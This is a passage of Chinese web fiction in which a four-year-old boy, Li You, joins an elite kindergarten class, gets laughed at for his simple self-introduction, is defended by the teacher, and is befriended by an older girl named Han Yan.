部长冷冷道，“我哪知道？这世界大着呢，有权有势的人也多了去了，保不齐是哪里的豪门。行了，一定要对那个孩子上心，千万别磕了碰了的，咱们吃罪不起。” 老师连连称是，“您放心，我们会派专人看护的，不会出意外。” Q被带到有十几个小孩的大教室，这个教室很漂亮，和麻花辫她们说的有点不一样。 女老师将他带到全班同学的面前，亲热地给大家介绍：“孩子们，这是我们今天新来的黎游同学，他比你们还要小一点，大家以后要和睦相处，知道吗？” “好！” 老师轻轻拍了拍黎游的肩膀说：“小游同学，请你给全班的小朋友介绍一下你自己。” Q乖乖点头，大大方方地说：“大家好，我叫黎游！我今年4岁，我喜欢和小动物一起玩，我擅长和别人聊天，如果大家想要和我交朋友，那就欢迎大家和我交朋友！” “哈哈哈” 孩子们纷纷笑了起来，这是他们在这个班级里听过的最不体面的一次发言。其他人都是会很多技能，比如绘画、书法、舞蹈、花滑等等，只有Q会的是一些普通人常见的东西。 Q有些无措的看向女老师。 老师也很尴尬，她不知道原来越有权势的人家越喜欢顺着孩子的心意成长嘛？怎么这个小孩会的东西这么少，但是如论如何，这并不是其他人嘲笑他的理由。 她拍拍手，严肃地说：“很好笑吗？大家笑什么？虽然黎游同学还没有学很多专业的技能，但是他喜欢小动物也喜欢交朋友，是一个非常有爱心地小孩子，大家应该多多和他交流而不是在这里笑。” 这时底下一个小女孩举手问：“老师，我喜欢黎游同学，我可以和他交朋友嘛？” 老师看向Q，无声地询问他的意见，Q点头：“好。” 小女孩雀跃着把他拉到座位旁边，很霸气地说：“那从今以后你就是我的好朋友了，我们坐在一起，如果你有什么不会的东西你就问我，我教你！” “我叫韩言，六岁，比你大，你可以叫我姐姐！”